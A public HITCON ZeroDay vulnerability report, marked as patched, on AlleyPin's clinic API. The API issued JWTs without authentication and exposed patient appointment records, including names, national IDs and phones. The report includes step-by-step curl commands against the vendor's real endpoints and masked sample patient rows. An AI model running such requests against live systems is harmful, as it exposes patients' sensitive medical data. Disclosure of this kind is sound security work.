AlleyPin 翔評互動 端點無需認證,可取得任意診所的 JWT 並讀取真實病患預約紀錄(姓名、身分證、手機、就診科別) - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00369
  •  發信 Vendor: 翔評互動股份有限公司
  • Title: AlleyPin 翔評互動 端點無需認證,可取得任意診所的 JWT 並讀取真實病患預約紀錄(姓名、身分證、手機、就診科別)
  • Introduction: 持有 token 後可存取該診所的完整預約紀錄,包含病患姓名、身分證字號、手機、生日、性別、就診醫師、科別等 28 個欄位。

處理狀態

目前狀態

公開
Last Update : 2026/05/26
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/03/21 17:07:35 : 新提交 (由 Marco 更新此狀態)
  • 2026/03/25 14:24:41 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/03/26 19:15:52 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/03/26 19:15:52 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/03/26 19:15:52 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/11 17:53:45 : 新提交 (由 Marco 更新此狀態)
  • 2026/05/14 10:54:18 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/05/18 06:17:44 : 新提交 (由 Marco 更新此狀態)
  • 2026/05/18 14:01:07 : 新提交 (由 Marco 更新此狀態)
  • 2026/05/19 12:12:43 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/05/25 17:09:22 : 確認已修補 (由 Marco 更新此狀態)
  • 2026/05/26 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00369
  • 通報者:mlgzackfly (Marco)
  • 風險:嚴重
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://openapi.alleypinapis.com/v1/auth/pinmedExchangeToken
https://openapi.alleypinapis.com/v1/appointments
https://openapi.alleypinapis.com/v1/public/schedules
https://openapi.alleypinapis.com/v1/featureToggles
https://pinmed.alleypinapis.com/clinics?limit=100&offset=0

敘述

漏洞描述

AlleyPin 的 OpenAPI 系統提供 pinmedExchangeToken 端點,設計上僅需要 serviceStoreID 即可換取 JWT Bearer Token,不需要 API Key、不需要密碼、不需要任何認證

serviceStoreID 可從另一個同樣無認證的 API(pinmed.alleypinapis.com/clinics)取得,該 API 回傳大量診所資料,每間皆包含 serviceStoreID

取得 JWT 後,攻擊者可存取該診所的預約紀錄,其中包含病患姓名、手機、身分證字號、醫師、科別、預約時間等敏感醫療個資。


重現步驟

Step 1:取得 serviceStoreID(無需認證)

curl https://pinmed.alleypinapis.com/clinics?limit=5&offset=300

回應中每間診所皆包含 serviceStoreID 欄位。

圖片


Step 2:用 serviceStoreID 換取 JWT(無需認證)

curl -X POST https://openapi.alleypinapis.com/v1/auth/pinmedExchangeToken \
  -H "Content-Type: application/json" \
  -d '{"serviceStoreID":"3********8","source":"Website"}'

圖片

JWT 有效期約 48 小時,payload 範例如下:

{
  "clientID": "[已編輯]",
  "serviceStoreID": "3********8",
  "vendor": "[已隱碼]",
  "clinicFeatures": { ... },
  "iss": "openapi.alleypinapis.com"
}

Step 3:用 JWT 讀取預約紀錄

curl https://openapi.alleypinapis.com/v1/appointments \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiI..."

回應(真實資料,已遮蔽):

圖片


實測結果

成功驗證可於無任何認證情況下:

  1. 取得診所 serviceStoreID
  2. 交換有效 JWT Token
  3. 存取真實病患預約資料

以下為部分已遮罩資料範例:

A 中醫診所

病患姓名 手機 身分證 醫師 科別
林*芬 09** A22*** 鮑*吟 中醫科
吳*怡 09** A22*** 鮑*吟 中醫科
吳*瑩 09** A22*** 鮑*吟 中醫科

B 中醫診所

病患姓名 手機 身分證 醫師 科別
洪*振 09** X1***9 董*欣 中醫科
李*惠 09** D2***2 董*欣 中醫科

資料內容

每筆預約紀錄包含多項敏感欄位,例如:

  • 病患姓名
  • 身分證字號
  • 手機號碼
  • 預約時間
  • 醫師資訊
  • 就診科別
  • 病歷相關識別資訊

影響

  1. 真實病患就醫紀錄可被未授權存取
    已驗證可取得包含姓名、身分證、手機、醫師、科別與預約資訊的真實病患預約資料(測試後皆已刪除)。

  2. 可影響大量診所與病患資料
    serviceStoreID 可透過公開 API 大量取得,攻擊者可批次交換 JWT 並存取多間診所資料。

  3. 零認證門檻
    從取得 serviceStoreID、交換 JWT 到讀取病患資料,全程不需要任何身分驗證。

  4. 涉及醫療特種個資
    就醫紀錄(診所、科別、醫師、時間等)屬於台灣《個人資料保護法》第 6 條所定之特種個人資料。

  5. Token 權限範圍疑似過大
    持有 JWT 後,除讀取預約資料外,亦可能進一步存取其他診所功能或 API 能力,建議全面檢視 token scope 與 RBAC 設計。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;